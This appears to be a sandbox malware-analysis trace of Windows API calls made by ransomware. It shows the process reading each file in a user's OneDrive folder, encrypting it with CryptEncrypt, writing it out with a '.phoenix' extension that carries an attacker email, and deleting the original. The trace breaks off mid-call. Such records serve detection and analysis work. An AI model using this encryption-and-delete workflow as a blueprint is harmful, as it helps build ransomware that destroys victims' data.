	[0268.065] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ThirdPartyNotices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\thirdpartynotices.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0268.072] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=36218) returned 1
	[0268.072] CloseHandle (hObject=0x2c4) returned 1
	[0268.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ThirdPartyNotices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\thirdpartynotices.txt")) returned 0x20
	[0268.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ThirdPartyNotices.txt.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\thirdpartynotices.txt.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ThirdPartyNotices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\thirdpartynotices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0268.073] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.073] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ThirdPartyNotices.txt.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\thirdpartynotices.txt.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0268.073] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0268.073] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.073] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x8d7a, lpOverlapped=0x0) returned 1
	[0268.114] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8d80, dwBufLen=0x8d80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8d80) returned 1
	[0268.114] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x8d80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x8d80, lpOverlapped=0x0) returned 1
	[0268.116] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0268.116] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.116] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0268.116] CryptDestroyKey (hKey=0x151540) returned 1
	[0268.116] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0268.116] CryptDestroyKey (hKey=0x151500) returned 1
	[0268.116] CloseHandle (hObject=0x2c4) returned 1
	[0268.116] CloseHandle (hObject=0x308) returned 1
	[0268.116] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ThirdPartyNotices.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\thirdpartynotices.txt")) returned 1
	[0268.128] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0268.128] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Warning.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\warning.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0268.129] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2593) returned 1
	[0268.129] CloseHandle (hObject=0x304) returned 1
	[0268.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Warning.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\warning.png")) returned 0x20
	[0268.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Warning.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\warning.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.129] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Warning.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\warning.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0268.129] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.129] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.129] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Warning.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\warning.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0268.130] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0268.130] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.130] ReadFile (in: hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa21, lpOverlapped=0x0) returned 1
	[0268.134] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa30, dwBufLen=0xa30 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa30) returned 1
	[0268.134] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa30, lpOverlapped=0x0) returned 1
	[0268.135] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0268.135] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.135] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0268.135] CryptDestroyKey (hKey=0x151200) returned 1
	[0268.135] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0268.135] CryptDestroyKey (hKey=0x151440) returned 1
	[0268.135] CloseHandle (hObject=0x304) returned 1
	[0268.136] CloseHandle (hObject=0x2e4) returned 1
	[0268.136] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Warning.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\warning.png")) returned 1
	[0268.136] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0268.136] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0268.147] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=718) returned 1
	[0268.147] CloseHandle (hObject=0x240) returned 1
	[0268.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png")) returned 0x20
	[0268.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0268.148] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.148] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0268.150] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0268.150] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.150] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2ce, lpOverlapped=0x0) returned 1
	[0268.174] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2d0) returned 1
	[0268.174] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2d0, lpOverlapped=0x0) returned 1
	[0268.175] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0268.175] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.175] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0268.175] CryptDestroyKey (hKey=0x151040) returned 1
	[0268.175] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0268.175] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0268.175] CloseHandle (hObject=0x2b0) returned 1
	[0268.176] CloseHandle (hObject=0x304) returned 1
	[0268.176] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\alertIcon.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\alerticon.png")) returned 1
	[0268.177] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0268.177] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0268.178] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=7574) returned 1
	[0268.178] CloseHandle (hObject=0x304) returned 1
	[0268.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png")) returned 0x20
	[0268.178] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0268.178] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.178] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0268.179] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0268.179] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.179] ReadFile (in: hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1d96, lpOverlapped=0x0) returned 1
	[0268.199] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1da0) returned 1
	[0268.199] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1da0, lpOverlapped=0x0) returned 1
	[0268.200] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0268.200] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.200] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0268.200] CryptDestroyKey (hKey=0x151500) returned 1
	[0268.200] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0268.200] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0268.200] CloseHandle (hObject=0x304) returned 1
	[0268.200] CloseHandle (hObject=0x2b0) returned 1
	[0268.200] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png")) returned 1
	[0268.211] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0268.211] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appwhite.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0268.213] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3051) returned 1
	[0268.213] CloseHandle (hObject=0x304) returned 1
	[0268.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appwhite.png")) returned 0x20
	[0268.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppWhite.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appwhite.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.213] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0268.213] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.213] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0268.213] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7076.1026\\AppWhite.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.7076.1026\\appwhite.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0268.215] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1516c0) returned 1
	[0268.215] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0268.215] ReadFile (hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0) 

Thread:
	id = 120
	os_tid = 0xe14

	[0218.913] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x32d0048
	[0218.914] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x32e0050
	[0218.914] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x688f48
	[0218.914] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110102) returned 0x34d5020
	[0218.917] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x50) returned 0x688f78
	[0218.918] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f7a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f808 | out: phKey=0x308f808*=0x1393e0) returned 1
	[0218.918] CryptSetKeyParam (hKey=0x1393e0, dwParam=0x1, pbData=0x308f7f0, dwFlags=0x0) returned 1
	[0218.918] CryptDecrypt (in: hKey=0x1393e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688f78, pdwDataLen=0x308f7bc | out: pbData=0x688f78, pdwDataLen=0x308f7bc) returned 1
	[0218.918] CryptDestroyKey (hKey=0x1393e0) returned 1
	[0218.918] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0218.918] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0218.918] Wow64DisableWow64FsRedirection (in: OldValue=0x308f854 | out: OldValue=0x308f854*=0x0) returned 1
	[0218.918] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688f78 | out: hHeap=0x680000) returned 1
	[0218.918] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.234] ResetEvent (hEvent=0x29c) returned 1
	[0219.234] SetEvent (hEvent=0x2a0) returned 1
	[0219.235] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0219.235] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.235] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.599] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0
	[0220.343] ResetEvent (hEvent=0x29c) returned 1
	[0220.343] SetEvent (hEvent=0x2a0) returned 1
	[0220.343] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
